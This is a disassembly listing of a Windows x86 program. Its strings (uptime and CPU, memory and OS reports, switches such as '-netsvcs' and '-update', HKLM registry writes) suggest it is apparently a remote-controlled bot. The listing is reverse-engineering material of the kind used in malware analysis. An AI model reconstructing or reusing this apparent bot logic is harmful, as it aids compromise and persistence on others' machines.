		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017EE
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		nop
		call	near ptr 2940000h
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_511740
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017EE
		mov	ebp, dword_51176C
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_404C30	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 84C61424h, 17424h, 4FE81D00h, 8DFFFFB7h
		dd 0E844244Ch, 0FFFFB94Eh, 46822B3h, 68000001h,	104h, 4C244C8Dh
		dd 7C249C88h, 0E8000001h, 0FFFFC175h, 0FDE89050h, 6A023DA4h
		dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
		dd 50096A38h, 0FFBEA3E8h, 2CC483FFh, 84C6C88Bh,	17424h
		dd 0BBE82300h, 50FFFFBCh, 48244C8Dh, 0FFBCB1E8h, 4C8D50FFh
		dd 84684C24h, 51004446h, 0FFB4E0E8h, 10C483FFh,	14244C8Dh
		dd 74249C88h, 0E8000001h, 0FFFFB6C6h, 44244C8Dh, 0FFBB22E8h
		dd 4AE850FFh, 90023CAFh, 1024548Dh, 78244C8Dh, 3F6852h
		dd 6A000Fh, 0FFBC69E8h,	26850FFh, 0FF800000h, 6A006AD6h
		dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
		dd 0FFBE1BE8h, 28C483FFh, 84C6C88Bh, 17424h, 33E82400h
		dd 8BFFFFBCh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
		dd 53E80000h, 8BFFFFB6h, 52102454h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
		dd 96A4424h, 0BDC6E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
		dd 0E8250000h, 0FFFFBBDEh, 0B9EEE850h, 0C483FFFFh, 244C8D04h
		dd 249C8814h, 174h, 0FFB5FDE8h,	10468FFh, 4680000h, 8D000001h
		dd 0E84C244Ch, 0FFFFC035h, 0BDE89050h, 6A023DA3h, 6A056A00h
		dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
		dd 6A44244Ch, 5DE85109h, 83FFFFBDh, 0C88B38C4h,	742484C6h
		dd 26000001h, 0FFBB75E8h, 4C8D50FFh, 6BE84824h,	50FFFFBBh
		dd 4C24548Dh, 44468468h, 9AE85200h, 83FFFFB3h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B580E800h, 4C8DFFFFh, 0DCE84424h
		dd 50FFFFB9h, 3CAE04E8h, 448D9002h, 4C8D1024h, 68507824h
		dd 0F003Fh, 23E8006Ah, 50FFFFBBh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
		dd 0FFBCD3E8h, 2CC483FFh, 84C6C88Bh, 17424h, 0EBE82700h
		dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
		dd 0BE80000h, 8BFFFFB5h, 50102444h, 6AD7FFh, 186A056Ah
		dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
		dd 0BC82E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
		dd 0FFFFBA9Ah, 0B8AAE850h, 0C483FFFFh, 244C8D04h, 249C8814h
		dd 174h, 0FFB4B9E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
		dd 0FFFFBEF1h, 79E89050h, 6A023DA2h, 6A056A00h,	6A056A18h
		dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 1DE85217h
		dd 83FFFFBCh, 0C88B30C4h, 742484C6h, 29000001h,	0FFBA35E8h
		dd 4C8D50FFh, 2BE84824h, 50FFFFBAh, 4C24448Dh, 44468468h
		dd 5AE85000h, 83FFFFB2h, 4C8D10C4h, 9C881424h, 17424h
		dd 0B440E800h, 4C8DFFFFh, 9CE84424h, 50FFFFB8h,	0ACC3E890h
		dd 4C8D023Ch, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B9E0E800h
		dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
		dd 146A056Ah, 46A016Ah,	156A106Ah, 476A046Ah, 4824548Dh
		dd 0E852046Ah, 0FFFFBB88h, 8B3CC483h, 2484C6C8h, 174h
		dd 0B9A0E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh,	9C881424h
		dd 17424h, 0B3C0E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
		dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
		dd 6A402454h, 35E85202h, 83FFFFBBh, 0C88B34C4h,	742484C6h
		dd 2B000001h, 0FFB94DE8h, 5DE850FFh, 83FFFFB7h,	4C8D04C4h
		dd 9C881424h, 17424h, 0B36CE800h, 468FFFFh, 68000001h
		dd 104h, 4C244C8Dh, 0FFBDA4E8h,	0E89050FFh, 23DA12Ch, 56A006Ah
		dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
		dd 0BACEE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
		dd 0FFFFB8E6h, 244C8D50h, 0B8DCE848h, 8D50FFFFh, 684C244Ch
		dd 444684h, 0B10BE851h,	0C483FFFFh, 244C8D10h, 249C8814h
		dd 174h, 0FFB2F1E8h, 244C8DFFh,	0B74DE844h, 9050FFFFh
		dd 3CAB74E8h, 24548D02h, 244C8D10h, 3F685278h, 6A000F00h
		dd 0B894E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
		dd 0B6A276Ah, 16A136Ah,	3024448Dh, 0E8502E6Ah, 0FFFFBA48h
		dd 8B24C483h, 2484C6C8h, 174h, 0B860E82Dh, 4C8BFFFFh, 51501024h
		dd 4C8DD5FFh, 9C881424h, 17424h, 0B280E800h, 548BFFFFh
		dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h,	6A0F6A0Eh
		dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 0F5E85014h,	83FFFFB9h
		dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB80DE8h, 1DE850FFh
		dd 83FFFFB6h, 4C8D04C4h, 9C881424h, 17424h, 0B22CE800h
		dd 468FFFFh, 68000001h,	104h, 4C244C8Dh, 0FFBC64E8h, 0E89050FFh
		dd 23D9FECh, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
		dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B98EE851h,	0C483FFFFh
		dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB7A6h, 244C8D50h
		dd 0B79CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AFCBE852h
		dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB1B1E8h
		dd 244C8DFFh, 0B60DE844h, 9050FFFFh, 3CAA34E8h,	24448D02h
		dd 244C8D10h, 3F685078h, 6A000F00h, 0B754E800h,	6850FFFFh
		dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
		dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB903E8h, 28C483FFh
		dd 84C6C88Bh, 17424h, 1BE83000h, 8BFFFFB7h, 50102454h
		dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B138E800h, 448BFFFFh
		dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
		dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
		dd 4C8D10C4h, 84C64424h, 17424h, 0FBE81D00h, 8DFFFFB0h
		dd 0C778244Ch, 1742484h, 0FFFF0000h, 0E7E8FFFFh, 0B0FFFFB0h
		dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4066A0	proc near		; CODE XREF: sub_40195Bj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4066A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_40142E
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_4066F1
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_402112
		mov	[esp+38h+var_28], ebp
		jmp	loc_406797
; ---------------------------------------------------------------------------


loc_4066F1:				; CODE XREF: sub_4066A0+3Aj
		nop
		call	near ptr 27D09E8h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_406783
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		jmp	short loc_406793
; ---------------------------------------------------------------------------


loc_406783:				; CODE XREF: sub_4066A0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870


loc_406793:				; CODE XREF: sub_4066A0+E1j
		mov	[esp+38h+var_28], ebp


loc_406797:				; CODE XREF: sub_4066A0+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_4066A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406810:				; CODE XREF: ___:00401672j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_448F30
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406850	proc near		; CODE XREF: sub_401F5Aj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_406850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_40142E
		mov	[esp+1A4h+var_4], 1
		nop
		call	near ptr 27D09E8h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2810000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		nop
		call	near ptr 2800000h
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40691E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406906
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_4068F6
		mov	ebp, offset a95	; "95"
		jmp	loc_406991
; ---------------------------------------------------------------------------


loc_4068F6:				; CODE XREF: sub_406850+9Aj
		cmp	eax, 2
		jnz	loc_40698D
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_40695A
; ---------------------------------------------------------------------------


loc_406906:				; CODE XREF: sub_406850+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406912
		mov	ebp, offset a98	; "98"
		jmp	short loc_406950
; ---------------------------------------------------------------------------


loc_406912:				; CODE XREF: sub_406850+B9j
		cmp	eax, 5Ah
		jnz	short loc_40694B
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_406950
; ---------------------------------------------------------------------------


loc_40691E:				; CODE XREF: sub_406850+83j
		cmp	eax, 5
		jnz	short loc_40694B
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406935
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_406950
; ---------------------------------------------------------------------------


loc_406935:				; CODE XREF: sub_406850+DCj
		cmp	eax, 1
		jnz	short loc_406941
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_406950
; ---------------------------------------------------------------------------


loc_406941:				; CODE XREF: sub_406850+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_406950


loc_40694B:				; CODE XREF: sub_406850+C5j
					; sub_406850+D1j
		mov	ebp, offset a??? ; "???"


loc_406950:				; CODE XREF: sub_406850+C0j
					; sub_406850+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_406991


loc_40695A:				; CODE XREF: sub_406850+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_406991
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		nop
		call	sub_5F285B
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_406991
; ---------------------------------------------------------------------------


loc_40698D:				; CODE XREF: sub_406850+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_406991:				; CODE XREF: sub_406850+A1j
					; sub_406850+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		nop
		call	near ptr 27F10D1h
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		nop
		call	near ptr 2920D13h
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017FD
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_406850	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406B60	proc near		; CODE XREF: sub_40168Bj
		mov	eax, [ecx+9]
		retn
sub_406B60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406B80	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_406B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_406B80	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BF0	proc near		; CODE XREF: sub_4015E6j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406C20:				; CODE XREF: ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401447
		test	byte ptr [esp+8], 1
		jz	short loc_406C38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C38:				; CODE XREF: ___:00406C2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C50	proc near		; CODE XREF: sub_401447j
		mov	dword ptr [ecx], offset	off_43F008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C67
		push	ecx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C67:				; CODE XREF: sub_406C50+Ej
		retn
sub_406C50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C80	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C80
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406CB1
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406CB1:				; CODE XREF: sub_406C80+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
sub_406C80	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_511B00
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_444600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D62:				; CODE XREF: ___:00406D74j
		push	offset asc_444600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D62
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F68
		lea	ebp, [esp+58h]


loc_406D88:				; CODE XREF: ___:00406F60j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4447EC
		mov	eax, edi


loc_406D92:				; CODE XREF: ___:00406DB0j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DB6
		test	cl, cl
		jz	short loc_406DB2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DB6
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D92


loc_406DB2:				; CODE XREF: ___:00406D9Cj
		xor	eax, eax
		jmp	short loc_406DBB
; ---------------------------------------------------------------------------


loc_406DB6:				; CODE XREF: ___:00406D98j
					; ___:00406DA6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DBB:				; CODE XREF: ___:00406DB4j
		test	eax, eax
		jz	loc_406F58
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406DCA:				; CODE XREF: ___:00406DE8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DEE
		test	cl, cl
		jz	short loc_406DEA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DEE
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DCA


loc_406DEA:				; CODE XREF: ___:00406DD4j
		xor	eax, eax
		jmp	short loc_406DF3
; ---------------------------------------------------------------------------


loc_406DEE:				; CODE XREF: ___:00406DD0j
					; ___:00406DDEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DF3:				; CODE XREF: ___:00406DECj
		test	eax, eax
		jnz	short loc_406E00
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E00:				; CODE XREF: ___:00406DF5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406E07:				; CODE XREF: ___:00406E25j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E2B
		test	cl, cl
		jz	short loc_406E27
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E2B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E07


loc_406E27:				; CODE XREF: ___:00406E11j
		xor	eax, eax
		jmp	short loc_406E30
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: ___:00406E0Dj
					; ___:00406E1Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E30:				; CODE XREF: ___:00406E29j
		test	eax, eax
		jnz	short loc_406E3D
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F58
; ---------------------------------------------------------------------------


loc_406E3D:				; CODE XREF: ___:00406E32j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406E44:				; CODE XREF: ___:00406E62j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E68
		test	cl, cl
		jz	short loc_406E64
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E68
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406E44


loc_406E64:				; CODE XREF: ___:00406E4Ej
		xor	eax, eax
		jmp	short loc_406E6D
; ---------------------------------------------------------------------------


loc_406E68:				; CODE XREF: ___:00406E4Aj
					; ___:00406E58j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E6D:				; CODE XREF: ___:00406E66j
		test	eax, eax
		jnz	loc_406F58
		lea	ecx, [esp+10h]
		call	sub_40142E
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_406F44
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015E1
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406F44
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_40168B
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406F44:				; CODE XREF: ___:00406EA1j
					; ___:00406EF1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F58:				; CODE XREF: ___:00406DBDj
					; ___:00406DFBj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D88
		xor	ecx, ecx


loc_406F68:				; CODE XREF: ___:00406D7Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F75
		mov	[ebx+5], ecx


loc_406F75:				; CODE XREF: ___:00406F70j
		cmp	[ebx+5], ecx
		jnz	short loc_406F85
		test	al, al
		jz	short loc_406F85
		mov	dword ptr [ebx+5], 0Ah


loc_406F85:				; CODE XREF: ___:00406F78j
					; ___:00406F7Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
byte_406FB0	db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407080	proc near		; CODE XREF: sub_4020BDj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

